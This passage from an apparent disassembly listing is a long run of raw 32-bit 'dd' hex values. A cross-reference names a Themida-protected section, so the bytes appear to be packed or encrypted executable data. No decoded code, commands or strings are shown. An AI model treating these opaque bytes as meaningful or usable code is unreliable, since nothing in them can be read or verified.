8C653E0Ch, 5E0248E5h dd 0C3FA7EC5h, 0DD784E10h, 0AE47EA06h, 0EF882B45h, 0CF39DD5Bh dd 4BC84D80h, 0BC121CB2h, 429737CDh, 18EF9235h, 50A33CDFh dd 1BEF8823h, 9ED95EF1h, 68875CFBh, 8F1D28C5h, 9A76FFF2h dd 8270103Eh, 3, 1BBC86D8h, 52A13ED9h, 0EE58225h, 4CA740DFh dd 0FE48124h, 51A23BE2h, 0FE48128h, 4FA441DCh, 10E37C23h dd 24AE47E6h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h dd 5C243487h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 0FE682404h, 89000060h, 6853243Ch, 517A0B72h, 9CBD555Bh dd 815B1516h, 8D13ECF5h, 5DEB2901h, 0D57BEB81h, 0D889F0BFh dd 4EC835Bh, 83242489h, 5F042404h, 277068h, 24048900h dd 0FF08478Fh, 835F2434h, 48B04C4h, 0E1895124h, 4C181h dd 0C1810000h, 4, 5C240C87h, 0F94847E9h, 7C2291FFh, 0E91CEA9Ch dd 0EAD2BBE0h, 4F9137F2h, 223553B8h, 0FFC50306h, 46B9D4E0h dd 0F0A5901Ah, 0E216FF43h, 0AAC61035h, 0C3A8C141h, 5B409C2Dh dd 0A1B43956h, 0C88D8D47h, 6A062236h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 1B85C350h dd 29A1D507h, 1B22C59Dh, 298D8906h, 0F061B24h, 85C7FFB7h dd 61B0765h, 6B3Ch, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0B4C35040h, 78708398h, 0E7DE9D80h, 5D8531C9h dd 0C7061B01h, 1B13D185h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0A439FC54h dd 0FF52A0A2h, 1B2549B5h, 0CB816606h, 95FF31B0h, 61B2F85h dd 1ED9B58Bh, 6A061Bh, 220595FFh, 0C08B061Bh, 7EEA1AEBh dd 4029768Ch, 37C50BBDh, 0E48BD7BAh, 3B5A04FFh, 6ADA047Fh dd 15D6F77Bh, 95D104EBh, 0CEE90EFDh, 29000005h, 0FA11B04Bh dd 25BA5DFCh, 0EC03A64Dh, 2EC564FFh, 58FD9C43h, 0BB628F42h dd 6A9C71Ch, 0C2618C63h, 0CAFC81Fh, 55DA796Dh, 38EA4B84h dd 6D3012DBh, 1BB45B96h, 60FDA0D8h, 33C868EAh, 42479344h dd 712EB68h, 0D76D3EC8h, 0B5413F4Bh, 15E3B033h, 0D175D572h dd 17BEBB38h, 0F1946378h, 2DD09F54h, 0F4936390h, 0AC87EB71h dd 8C29C8A6h, 0DBED2EBEh, 9F54ED91h, 63902DD0h, 0B555F295h dd 851A4807h, 43C045C0h, 3EC861BAh, 13EA6FD5h, 6E3EC861h dd 0FCE55D8h, 623EC861h, 97DA44E4h, 0BE618F64h, 70852921h dd 0DB61E487h, 0B101D095h, 1FBFB6h, 0CC6B0AEBh, 1EB9BA89h dd 0D025C981h, 8A6906A5h, 0D832CB6Eh, 1F4FC755h, 649A63E0h dd 8FF53EC8h, 6F09003h, 34B9B862h, 93324339h, 925D7215h dd 69EF56EFh, 0FF8BB4DBh, 71EE7545h, 3EC88F68h, 58DD8107h dd 3EC88F82h, 0DF4908F2h, 285A369h, 5EEFh, 0DC1B5300h dd 54A79C39h dd 3C3EC87Dh, 59DC0F62h, 0C87D03DAh, 48E85E3Eh, 84B196CEh dd 1C002h, 1B420000h, 50A33CDBh, 5EE8726h, 41B24BE6h, 0F9FA9336h dd 23C15EFDh, 8271F679h, 7EFC4EE7h, 0A52A45E9h, 4A3D3C9h dd 0DA5EE386h, 40F76591h, 668428BCh, 0ECCB9AECh, 3A35CA6Eh dd 6D32F897h, 7D926BE8h, 0ED3EC8h, 35D957F6h, 9532D9A0h dd 5D9A905Eh, 0A62D1DBAh, 0C87DD029h, 9719AF3Eh, 57FAF5FEh dd 993835BEh, 5CF33BFCh, 9418BD2Eh, 9916859Bh, 3EC8C040h dd 0D019A91Fh, 0D136C67Bh, 12963738h, 0B3BE6808h, 0FD9C432Eh dd 0C96609E6h, 22A9502Ah, 0E080234Dh, 5B289B47h, 2DD7771Eh dd 8090B822h, 68C60285h, 3C000000h, 9E37DE1Bh, 0D9761D55h dd 4B28F75Eh, 4B2610B0h, 6504ABC6h, 23BC638Eh, 6F08A3D0h dd 5CC68973h, 284B3F4h, 6B62h, 0DE1BE000h, 0B231B437h dd 3EC87D2Bh, 720C046h, 0E188713Eh, 2ECDA83Dh, 0FF9ED8A7h dd 452DC65Fh, 8F2019Eh, 7E20C461h, 5CE7C5F3h, 7D835AD9h dd 68DE3EC8h, 8E135EC8h, 0E58C6563h, 1B7EC463h, 0A2A33CDBh dd 5FFFA2CDh, 0C87D00DAh, 0BB96703Eh, 77860D88h, 0A3EC87Dh dd 0AA22DC7Ch, 0AC0284B1h, 8, 8E294A19h, 6FB559F1h, 9F38DF1Bh dd 0FF9AD9A6h, 0AF44E466h, 8A801DC0h, 7881FE83h, 173EC87Dh dd 4C230DB1h, 0C6179C19h, 993EC87Dh, 7C768B2Bh, 79C032D5h dd 0FBF6CD50h, 0EF8FBB54h, 462DE76Ch, 5827C4F5h, 10E37C1Fh dd 0A5A542E9h, 0EAC78323h, 69EC6E09h, 1CBC5B9Ah, 7E6D4203h dd 0C1AE43E3h, 32B67B1Eh, 26576591h, 91384149h, 34D456F4h dd 0AB28D09Fh, 0C72C0C52h, 0B8C2972Dh, 54D67411h, 0C7388BBh dd 15B0C72Ch, 0F38C333Eh, 0D3768257h, 0C670103Ah, 76FD78ABh dd 0C72C0C67h, 17EC8CFAh, 2AAE35D8h, 7D9D65D7h, 0B453F38Ch dd 10AD501Fh, 0D47114E3h, 1856501Fh, 0EC6EDC79h, 6C6DF253h dd 3C72CF1h, 24BFAC85h, 0FA557F8Bh, 0C08F5FCCh, 0F6993C3Bh dd 0A831AE33h, 0C7C72CF1h, 0CD6A0DEAh, 4C26FB7Dh, 9E4208A5h dd 693DEC64h, 465CE0FCh, 9808B2A4h, 7A914AEEh, 0F1000001h dd 926BE86Dh, 0ED3EC87Dh, 45B757h, 816D42C9h, 74FB3EE2h dd 0C4F553EAh, 9564EB66h, 0ECC72CAFh, 87EBA5Eh, 0C86B846Fh dd 0F4A5D229h, 4BFF6C69h, 4CCF513Fh, 85B34AC9h, 38CEC72Ch dd 85AF2EB5h, 44C2C72Ch, 8F688BA4h, 0F2867ADEh, 0A3253B51h dd 53C69C20h, 0B86A3AB2h, 0B95CFF18h, 0CC6C0BEAh, 59DC0F62h dd 2C2F03DAh, 65E85EC7h, 2C2F1FDEh, 34D472C7h, 98D6D09Fh dd 1ED877F9h, 0FC6903A6h, 5CB0h, 0A33E1200h, 34153C10h dd 0D83CE7ACh, 0F70A40A9h, 98C0E8Ch, 0C85EC38Ah, 4FE85E3Eh dd 0A95029F6h, 6F08A3D0h, 0E7F63BDBh, 213EC85Eh, 0D51EB752h dd 8C58F59Ch, 9393CFA2h, 7CAB13BBh, 0B96347C9h, 0B80954B6h dd 10E3B035h, 16AF521Eh, 0D12B634h, 3EC8C27Ch, 4B255F3h dd 99h, 22A73E7Eh, 2C49169Bh, 0F8953C36h, 0C64DD052h, 3EC87D37h dd 171CBC4Ah, 0C4F55FF9h, 0F253EC5Ah, 0D6FA8E66h, 0CB577AE3h dd 0A39B6C0Bh, 687D21AFh, 9A69EC8Fh, 2822BB5Eh, 2552A988h dd 0F976FB82h, 0C72C92E0h, 2AAA4526h, 6A9C79Ch, 0E43DE169h dd 2C919B5Fh, 0C1908EC7h, 0F190333Ch, 936AE96Ch, 0EEC72C93h dd 0FF46B858h, 26BC43CAh, 393D094Ah, 0B6C132CBh, 8D907A13h dd 0CA728B08h, 770DCD0Ah, 0C0222DD7h, 3FCD5079h, 163712CFh dd 65E88838h, 2FA404DEh, 4EF15737h, 22A73E08h, 0A4DE149Bh dd 381C4EDh, 0CB6E896Ah, 0F598D72Ch, 1F06EB58h, 0DA443FF5h dd 42E51297h, 8C2F489Fh, 58F300F3h, 0CEA14BBFh, 0EC8B2E49h dd 9835D817h, 85161FADh, 0C0FDFC83h, 0F694CE36h, 911EFD66h dd 3FFEDh, 86590000h, 3ED91BBCh, 822552A1h, 40DF0EE5h dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h dd 47E610E3h, 895324AEh, 4B951E3h, 1000000h, 0EB8359CBh dd 241C8704h, 0E789575Ch, 4C781h, 0EF810000h, 4, 5C243C87h dd 68240489h, 973h, 0B8241489h, 43F23DBh, 60696235h, 7E8C168h dd 97D7F797h, 5779835h, 4D0568F9h, 24890000h, 24048124h dd 4, 4EC815Ah, 89000000h, 428F2404h, 2434FF08h, 4C4815Ah dd 8B000000h, 89512404h, 4C181E1h, 83000000h, 0C8704C1h dd 6DE95C24h, 0DFFF941h, 42004036h, 3C35B849h, 0C5030622h dd 2D55E0FFh, 9E865B1Dh, 525944D6h, 268224F0h, 0B0CF4BDDh dd 0A2E402CDh, 0A6C31084h, 17B52D44h, 81B96A2Eh, 0B87C660Ah dd 507D77ACh, 66F613E9h, 0F5AE476Eh, 36B55B54h, 7E46674Ah dd 5912535Ch, 1E315B62h, 0CBE74418h, 6CE2796Ch, 27B876DDh dd 9CFD079Ah, 0FCEC5907h, 4EB6874h, 12F7A562h, 567E9h dd 62FDEF00h, 0AF4E28BFh, 58FFFB10h, 0B65122B9h, 0EB5BC13h dd 0FDD4066Bh, 55AA4DF4h, 2D9781Bh, 1EB554F3h, 0D70BAE51h dd 4026B73Ch, 703938EAh, 39DC1BD2h, 731A579Ch, 4DF0FFD4h dd 913443B0h, 50EFFFF4h, 57FAF6CDh, 55D95EB7h, 0FFF8C7FAh dd 4827BC5Ch, 703F02A5h, 4AE38Ah, 0BD6A8B60h, 0BABDC43h dd 0E467E967h, 2AFCC658h, 0D57975FDh, 35D4A136h, 7118E1AEh dd 717F74CDh, 2BD931CEh, 176BF124h, 0AD565F2Ch, 6104F3C8h dd 0AE4D28BDh, 58FBF40Bh, 107684BFh, 841E3EC8h, 0CE5BAEDh dd 1147C165h, 4702851Fh, 64h, 39DC1BBBh, 7D54A79Ch, 0A4CE3EC8h dd 25F741EFh, 1C9EA7E8h, 0E4877083h, 0B66104Bh, 47C96886h dd 57966DE0h, 63EE18B8h, 8541C3F9h, 19502h, 1BED0000h dd 50A33CDBh, 5EE8726h, 85B24BE6h, 2551D699h, 0E30CE386h dd 7D25B43Bh, 0CE3C3EC8h, 1943C94Ch, 0C86B84ECh, 9E8F1B2Fh dd 0CAFC953h, 34BEA8Eh, 9E37DE1Bh, 0F37A1955h, 7DE8F16Eh dd 1873EC8h, 0C797C45Dh, 4FF60388h, 9BD6ADB0h, 77E0F1E6h dd 0F0727B3Ch, 32D19C57h, 0FCFB10B0h, 0F0FDD259h, 0F296B451h dd 0F9A0DA19h, 0D998865Ch, 8569096Fh, 0CC6F02h, 1BD30000h dd 31B437DEh, 54F19862h, 7D6C6DF6h, 85033EC8h, 0CFAB48E1h dd 0A320A528h, 3EC87D5Ah, 0F36F16DCh, 0DF58B155h, 7E7B004Fh dd 7D8C4DD2h, 57DC3EC8h, 3EC87D86h, 2EF6BD9h, 50D250F7h dd 211F5AB1h, 0A79FA657h, 3F17C945h, 4D2624C1h, 6AE07D24h dd 0C7A44FE8h, 0B54F932Ch, 6198679Ah, 468F2ABAh, 63E7ED55h dd 0D42349C3h, 72550284h, 0AD000000h, 970CDF6Dh, 0B264E484h dd 5900F90Eh, 960389BCh, 7D81D255h, 0F86A73F0h, 7F053EC8h dd 6D885D01h, 817847CEh, 0BCB63DDAh, 33079315h, 3E543B0Ch dd 0D9152ED2h, 0CAA72C43h, 758A11Eh, 0CC373EC8h, 0C807B647h dd 0BD3BC93Eh, 0CF680BE4h, 0FB76FD7Bh, 0C8076574h, 0EA8EFC3Eh dd 0DB1B034Bh, 5AA0A33Ch, 4A3EC87Dh, 137A1B0h, 570284B2h dd 1, 38DF1BABh, 0FED827B5h, 0D008CEA0h, 13DC1730h, 8933D770h dd 910E93C6h, 3EC85248h, 65029DCEh, 3FDF65E5h, 8629D0AAh dd 0F97C4D94h, 0F569587Ah, 0BE45C3C4h, 0C96605F1h, 0AF44DD81h dd 0F6ABC6C0h, 12FE5396h, 6D0A889Dh, 4AC86786h, 45E28971h dd 61E48305h, 87C51FDBh, 0AC2F3F47h, 7CD84459h, 677C1C9Eh dd 0DE65E088h, 0C72DD81Fh, 8E4FD472h, 0E1C72DD8h, 0DA5EE563h dd 0C054D7E4h, 6E11DF4Dh, 50F34CECh, 0C72D8B8Bh, 9E6BD88h dd 1958C266h, 19B85B94h, 860DB5C2h, 0C72D8B77h dd 0A948250Ah, 0E70CA927h, 93C86508h, 0E8078CE3h, 0F068A245h dd 66FC6AA7h, 155h, 22A73EDCh, 4099169Bh, 183EC87Dh, 0C87D429Bh dd 2BA71D3Eh, 0B936F99Dh, 0C4F553AFh, 767D1AB0h, 9C33D679h dd 0AE9730D3h, 0DA7316E1h, 0AC15E46Bh, 0DE6CC72Ch, 4827BC5Ch dd 0A35308A5h, 852847CCh, 68905FE2h, 71E721C5h, 0E7FC6982h dd 5Fh, 0B58DA5Eh, 0CA3A54C0h, 0A33E2026h, 6B04ABC7h, 0DCA94CD1h dd 8B0DF099h, 4009860Dh, 0DF3EC855h, 6677CC69h, 913EC855h dd 9732410Eh, 0F420DF7h, 55CC0D92h, 25A33EC8h, 55D8219Eh dd 51B73EC8h, 0DFE27BADh, 0ED0AD95Ch, 7D61BA4Ah, 8861F607h dd 0E72A63E8h, 0BF453EC8h, 0A7B220h, 3E280000h, 149B22A7h dd 0C4F55FFAh, 0C9708956h, 29B2925h, 0C46306F1h, 169D402Fh dd 0F18E2D49h, 0E95CB559h, 9838DF1Ah, 2CA14F93h, 7E03C2C7h dd 2CA3F801h, 8D3197C7h, 0CA99CCA3h, 0DB6F08AFh, 26C9A63Bh dd 0BC43BE83h, 0C72CA33Dh, 0E012B654h, 3CDF1959h, 872650A3h dd 95B77909h, 9FB21DDFh, 0F60E9A21h, 2E4E6E27h, 0E29A9824h dd 40783AFEh, 4B189DA0h, 62E7872Eh, 3D09037Ah, 0D425AA15h dd 0ABCD0A19h, 0F1029B1Dh, 40CA6306h, 459BB96h, 0D9C13EC5h dd 76372FC6h, 60EC7110h, 6491E676h, 922228C5h, 16BA76BCh dd 55966D10h, 5DE416BAh, 0DF1AE96Ch, 0E959838h, 0C4EDA22Eh dd 0F3C043C1h, 81C46104h, 15BEFB02h, 0B23096C7h, 4310350Eh dd 0DCF19530h, 3AD17013h, 85139A3Dh, 7AE370DBh, 0C35CFCD1h dd 0E3421380h, 0BA959933h, 0F8973A35h, 0D47114E3h, 14B14C1Fh dd 0D16E11DFh, 15B25522h, 0F4222DCFh, 44C98836h, 12E9882Bh dd 0A0A542E5h, 14897B1Ch, 0AC9E37DEh, 376D4720h, 32997h dd 869F0000h, 3ED91BBCh, 822552A1h, 40DF0EE5h, 81244CA7h dd 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h dd 545224AEh, 4C2815Ah, 83000000h, 148704EAh, 23685C24h dd 8900000Bh, 0E0682434h, 89000026h, 0BA522414h, 17F122B8h dd 4141F281h, 0CA814403h, 7D30D2Eh, 28F0BD55h, 0C5811EE8h dd 47DE2331h, 0F75DEA01h, 7EAC1D2h, 0B0A5C281h, 0D689059Fh dd 4EC815Ah, 89000000h, 4832424h, 505A0424h, 42895856h dd 34FF5808h, 0C4815A24h, 4, 5E2434FFh, 4C481h, 99E90000h dd 38FFF93Bh, 0E73AEDF7h, 224211B8h, 0FFC50306h, 0FE7FF6E0h dd 0ACA0FB51h, 0F0EBA12Eh, 7C5D2162h, 0FE41BD4Ah, 8932621Ah dd 3488973Dh, 0B9049A73h, 0FE3240Ah, 31FFDA2Eh, 0E68D0A79h dd 0DDC7D056h, 85D57C79h, 0B587AA0Eh, 572857Eh, 0DDFF5767h dd 0F070AE57h, 0E4C74432h, 0C7F77249h, 0E59DD22Ah, 4E345B4Ch dd 94294315h, 0B08FAD2Ah, 0C28D8D08h, 6A062243h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 5F8BC356h, 124CD3E3h, 89FE8B2Fh, 1B24298Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F9850975h, 0C7061B0Ah, 1B076585h, 73E006h, 0C7DC8A00h dd 1B13D185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0AD062F26h, 7B6CF6FBh dd 0BD29B861h, 61B06B5h, 5DB5FFh, 6A061Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 9E7258C3h dd 2F8595FFh, 0EA81061Bh, 2931FF30h, 95FF006Ah, 61B2205h dd 39EBC08Bh, 562E4639h, 0D9F26C1Fh, 41D02500h, 24E45293h dd 6385BE7Ch, 90714D83h, 618821D2h, 5AFC9F4Fh, 30C62243h dd 20CB4C3Ah, 0DA32CD13h, 0B71C5848h, 0B026C4D8h, 3F3D560Ch dd 8304EB71h, 0E9033257h, 551h, 0A649E410h, 0E3862551h dd 0A03FE60Ch, 0EA8D284Bh, 9235DC15h, 0CDA42DAFh, 846C8326h dd 0CCA93EE1h, 7A758A2Dh, 0FF8638D7h, 0EA397980h, 6B571838h dd 9C39DC1Bh, 0D4731A57h, 1E9FCB51h, 49943307h, 842750A5h dd 4CEF08EBh, 403640B3h, 4BFF9833h, 170730CDh, 1A4D358h dd 0CD6C895Eh, 0F998D52Ah, 0B659975Ch, 0F497602Fh, 4038BB54h dd 7F3009Dh, 0AE70C760h, 0EAF370A3h, 853EC8D8h, 15BF81FFh dd 19B8B53Ah, 0F3966176h, 0D813E95Ah, 0A5813EC8h, 0B1C897CAh dd 34AC660Ah, 98028557h, 780CF014h, 3FE68582h, 6FA733AEh dd 68610584h, 86h, 0E1664FDDh, 54FADECAh, 0DC1B6EB4h, 0F57316E2h dd 32D9A16Eh, 4D8EB58Eh, 353EC87Dh, 249C0649h, 320284B2h dd 0Bh, 48910E93h, 273EC871h, 1B37FDA1h, 0A2A33CDBh, 8229501Fh dd 1DDC65E5h, 743EC87Dh, 4ECC737Fh, 7A1955AAh, 3AD516DDh dd 0BD949A9Dh, 2D483E38h, 3890C8Eh, 357B2A0Bh, 70CF6FB5h dd 32B95C9Bh, 50ED945Dh, 0B25921FAh, 72913515h, 2CAD32AFh dd 433EC890h, 0B00035C5h, 489A3668h, 0DE1BA2A8h, 0D8A79E37h dd 0E961FE9Dh, 19C6B045h, 16461A5Eh, 912EAC9Ch, 5BF49362h dd 1DBA6198h, 2303FEDh, 58AE591h, 4DA245ECh, 70FC7F22h dd 10E9683Eh, 24D2D969h, 5C97B050h, 9D56EF96h, 63902DD4h dd 9856EF96h, 533D6B06h, 0FCE55D0h, 623EC861h, 97DA44E4h dd 0B947D864h, 3C3DC6A9h, 9AFA629Ch, 685C0285h, 0E6000000h dd 9E37DE1Bh, 54A52AA7h, 2B3EC87Dh, 0EE4F99Dh, 0C569CE67h dd 0A54C25AAh, 0B9A59A1Eh, 5276F13h, 4A1442Ch, 6C83A246h dd 0B241DE85h, 19CCFC1h, 22FCE67Fh, 0C37FE54Fh, 3FD90284h dd 6C000000h, 0B2D23EE0h, 0F5B03A38h, 63F9890Fh, 0B77D21B6h dd 9E37DE1Bh, 0F2791855h, 1AB34E1Dh, 37B79030h, 6C850A65h dd 1B1C22C5h, 0A0A33CDBh, 3EC87D5Ah, 37A1B04Ah, 284B201h dd 157h, 0E86DAB00h, 0C87D926Bh, 0B757ED3Eh, 195A5822h dd 9063FC7Eh, 0C441C467h, 0C87DBE3Fh, 0DA81783Eh, 0F34CEC5Ah dd 0DD62ED17h, 18E76E15h, 0A9A13EDDh, 6DF42605h, 0B85AD95Ch dd 0A3C4F546h, 0A4D19E25h, 7DC86105h, 8D2AC5A6h, 0ABC419BDh dd 61E46908h, 2C9A1BE2h, 0B2511DC7h, 4FB53515h, 35D9807Ah dd 9B34D7A0h, 2C9B53A8h, 0FA99D5C7h, 0B659965Dh, 2C43F119h dd 0F37E20FEh, 5AD9816Eh, 0C72C9B83h, 47EA68DEh, 0A1402D02h dd 6C0FE8FDh, 23E672D3h, 0CCD52F4h, 63C72C78h, 162255E5h dd 14E3F898h, 0D787D471h, 0D76598h, 0E61A6861h, 3837CC6Ch dd 0CCE69187h, 0E56502A1h, 18DBA255h, 7F85139Ah, 0BB66E714h dd 5D997818h, 0FC69ADE7h, 3BE218E7h, 11E229Bh, 3EA00000h dd 0DA8CBA7h, 0FE973E34h, 0CA47CE4Ch, 0B956FDF5h, 0F5C49183h dd 25A36EEDh, 0D2D8219Eh, 51B73EC8h, 0FCDEA8ADh, 23A1C4F5h dd 0EB8E698Ah, 15B8B74Ch, 0D97C7B78h, 4F1F3Ch, 36D97C7Bh dd 6A3184BCh, 41D2FCh, 6D300000h, 1CB95896h, 3D988A2Eh dd 0CB820184h, 5F3EC87Dh, 0C14251D9h, 0B95DC797h, 0D56E077Dh dd 3EC87E04h, 134609F3h, 0F18E353Ch, 0FA43B559h, 6AE88370h dd 7E2D5CE3h, 0C6443EC8h, 96B323h, 3E0D0000h, 149B22A7h dd 0C4F55FFAh, 0A54EE75Dh, 5C9D22CAh, 33C72CA2h, 0B1741395h dd 0A22EAF34h, 0C341C72Ch, 0FEA1CE23h, 0A11EE261h, 3013C72Ch dd 0A3AF2EB5h, 44C2C72Ch, 8D0EEBB8h, 3DE18EDBh, 7A497CD3h dd 8059D67Eh, 0DFC72CD4h, 0B247E769h, 0F27214C5h, 0A99A8AF6h dd 2BAD2BCEh, 86439A8Ch, 247B80FFh, 0B0163D09h, 0D22BA82Dh dd 0ADCD0A24h, 559E7717h, 0B259201Ah, 1AB33515h dd 62FB9ED9h, 2AC36691h, 0BCEA8531h, 1F81D0FEh, 27AC2F9Ah dd 372FE0D4h, 0B87E21A7h, 9B22A73Eh, 0EDB9C714h, 0B2BC93C4h dd 51B77313h, 7F303FB4h, 62AD2FB9h, 0F79A182Dh, 0DB7417E0h dd 2481DE6Ah, 4CBE24E7h, 23AFCA17h, 0F0907306h, 25EB806Bh dd 1958C63Ch, 19B85B94h, 860DB5C2h, 0CA05E577h, 61FE7C0Ah dd 826F6192h, 4AC05DDBh, 5F06ECC3h, 9E452DC6h, 0F2C74901h dd 58C26601h, 615B9419h, 551CF594h, 0B73911AEh, 11B4C318h dd 0CF54D174h, 0CA05E50Eh, 9543E361h, 12h, 5A966DEBh, 0A8271EB7h dd 3EC87D51h, 78189A30h, 0D91B54CEh, 2552A13Eh, 0DF0EE582h dd 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h dd 0E610E37Ch, 5724AE47h, 0BD55E789h, 4, 835DEF01h, 3C8704EFh dd 89565C24h, 4C681E6h, 83000000h, 348704EEh, 1C895C24h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 55242C89h dd 423CDABDh, 80E5BB55h, 0EB295B64h, 81242C8Bh, 4C4h, 2C8B5400h dd 4C48324h, 0DA895250h, 895AD089h, 8B580845h, 8950242Ch dd 405E0h, 0C0830000h, 24048704h, 2434FF5Ch, 4C4835Bh dd 0F934D3E9h, 0B1EA8BFFh, 0F113A418h, 48D2B828h, 0C5030622h dd 95E0E0FFh, 65BC6C94h, 0CF220E60h, 4EB59AEh dword_5A1E68 dd 4E20E896h, 4D2E9h, 32CD9F00h, 0DF7E788Fh, 28CFAB40h ; DATA XREF: Themida_:005357B4o dd 0E6817289h, 1EC5AC43h, 0DC4D67Bh, 459A3DE4h, 12E9882Bh dd 4EA544E3h, 0E7DB7E21h, 3416E76Ch, 806938EAh, 3AC340C5h dd 5538EA34h, 1B094FEFh, 579C39DCh, 51D4731Ah, 31D57482h dd 9730D39Ch, 57F0935Ch, 12DCD29Ch, 0DF58F573h, 7C7B004Fh dd 0D4A136D9h, 0D66F12DEh, 7C53F674h, 0BE35D271h, 1EBDB8B2h dd 0DD07039Ch, 41E00D92h, 8B2E499Eh, 7D8B51F2h, 0DF93EC8h dd 0B160D842h, 76F60284h, 4F000000h, 3AD37A80h, 1BEA7010h dd 52C82BDCh, 7BCBF530h, 9B27A06Dh, 991CFEAAh, 0C84BC31Ah dd 0AA289E3Eh, 4BA5360Dh, 31CD3EC8h, 0E83CB41Eh, 11A0284h dd 0A8000000h, 0A33CDB1Bh, 0EE872650h, 0B24BE605h, 51D69985h dd 0D6507825h, 0FF548F38h, 0C06EFA81h, 188DA892h, 7BBE5D01h dd 5D6079F6h, 89FF3EC8h, 3FE710E5h, 0C85D39C0h, 62F2583Eh dd 0CFD73171h, 24C3453Dh, 37DE1B1Eh, 700FDFB4h, 3AD373D7h dd 811EBDB9h, 0C0450CDAh, 986F12B9h, 6A39BC5Fh, 0DB14ED8Ch dd 0BAB9F38h, 12B9C132h, 0C08F6D75h, 84B42E56h, 7F1BE02h dd 700BC464h, 77000000h, 9E37DE1Bh, 0D9761D55h, 971F75Eh dd 0CD0659AAh, 0D6CAA06Eh, 0F3067F46h, 73A6A953h, 8A2ED59Ch dd 32D57C75h, 0A62DD49Dh, 5CFC9FD9h, 0A84330C3h, 0A0D3A025h dd 5C7D7C05h, 76143EC8h, 0FBA939D2h, 0D4E20A74h, 350A0284h dd 4BFF983Bh, 4F32ABh, 1B900000h, 559E37DEh, 12DC7918h dd 0B9C0450Ch, 7C19BCBBh, 70813ECEh, 0FA7784E7h, 1B51D978h dd 33B93CDBh, 72F1B680h, 3EC8F26Bh, 8F48006h, 59956E9Fh dd 892D1DBAh, 0E54993B0h, 4B373EC8h, 4A229A04h, 0D5AA0285h dd 5E57F79Ah, 1, 38DF1BE4h, 781B549Fh, 0A3501EF5h, 23F5F891h dd 37D7594Bh, 6F022CDEh, 0E689673Ch, 0A343DE0Dh, 0F67D244Eh dd 2BA84C29h, 3EC889D2h, 0FC9917ADh, 978BAA4Eh, 2F048742h dd 4604A13Ch, 0E2209FA2h, 7DC4F5B2h, 0A67C7D02h, 7513C72Dh dd 18EC70F3h, 42BC6016h, 6E859E42h, 0A43BDE81h, 0CEA528CBh dd 0C059FDA4h, 2D007883h, 68E7B5C7h, 9B8D5E35h, 0A23BBD58h dd 0BC701CA8h, 0BA834458h, 5B6C116h, 40169D8Eh, 11222875h dd 0B63148D4h, 60E27D6Eh, 0CFA83FE2h, 9760932Ch, 5D005BF4h dd 2FC86786h, 5D4F450Dh, 6AE8A172h, 90155CC6h, 0E925C467h dd 0FC6A0A73h, 123E5h, 0A73E5D00h, 0ACC49B22h, 5DE26509h dd 0C4F55313h, 0C56C865Dh, 1C9F2521h, 47312747h, 0C18926A4h dd 0EF041Dh, 4A25BA5Dh, 0AE50EA7h, 88DCE67h, 0AFF7068Dh dd 0FC8AC72Ch, 1A9FB25Ch, 92973ADDh, 0AF49900Fh, 0A228C72Ch dd 83CC04FEh, 3C8AFC69h, 0F8000000h, 6355966Dh, 0F05AF392h dd 0D175D572h, 0A82B961Fh, 0C87D622Bh, 0EE87FD3Eh, 0C87D8455h dd 0C689733Eh, 65E8D964h, 39ECD5D7h, 8529B16Bh, 170C3DC2h dd 0A5233EC8h, 96D402h, 3E2E0000h, 0FEABCBA7h, 6FB457BCh dd 0EC8907B7h, 0DA59DC5Eh, 0C4F5103Ch, 390CA91Fh, 52EB8E6Ah dd 748358F8h, 0A62B2ED1h, 5055A42Bh, 9E2CC72Dh, 2D50C415h dd 892D9BC7h, 74817B74h, 901238D5h, 4CD34EF7h, 0C72D508Dh dd 7DC266E4h, 0C72D5379h, 0DE63EEB0h, 57CB6E11h, 0BF44C702h dd 3D089AAFh, 680FEAB9h, 0C4A78CC8h, 8B678C29h, 4BE466E4h dd 0E1ECFA8h, 4CB276D0h, 46C46791h, 857241C4h, 4CEF09E2h dd 1EF797B3h, 0CD2F42ECh, 45CA5178h, 372F5325h, 252DCC3Ah dd 9B22A73Eh, 0EDB65414h, 4C260BC4h, 0B63D08A5h, 0C715CA27h dd 0CC4ECC3Ah, 14B7C033h, 0EE915E75h, 0BE5D9867h, 157F4F2Eh dd 6E12C39Ch, 0D6A370D5h, 38CA8F2Fh, 2E7F1028h, 3EC7100h dd 0C749F009h, 1A4D328h, 0C15C8F64h, 9FCF24h, 0C2618C67h dd 7CD3C925h, 0F628C4Eh, 3DA59DCh, 5E8F1328h, 0C4B348E8h dd 2DBB7E21h, 855D3885h, 966B0B9Dh, 0C119B659h, 3, 1BBC8617h dd 52A13ED9h, 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h dd 0FE48128h, 4FA441DCh, 10E37C23h, 24AE47E6h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0B968243Ch, 8900000Ah dd 3068241Ch, 8900007Dh, 7C682434h, 8B062249h, 0C483241Ch dd 348B5404h, 4C48124h, 51000000h, 4E895953h, 348B5908h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 50241C8Bh dd 405E089h, 5000000h, 4, 5C240487h, 0F92FDFE9h, 0FE8710FFh dd 0B8A502D5h, 6224DD7h, 0E0FFC503h, 1FB9995h, 0B55FA22h dd 2CC24718h, 155AFE7Fh, 10F54D1Bh, 4A3D3B91h, 10EBh, 3 dup(0) dd 0C08B0000h, 8B0FF18Bh, 6, 1221B523h, 0BD83061Bh, 61B23D1h dd 83097500h, 1B3129BDh, 19740006h, 0C08B5350h, 42DB8h dd 0A1858900h, 8D061B2Dh, 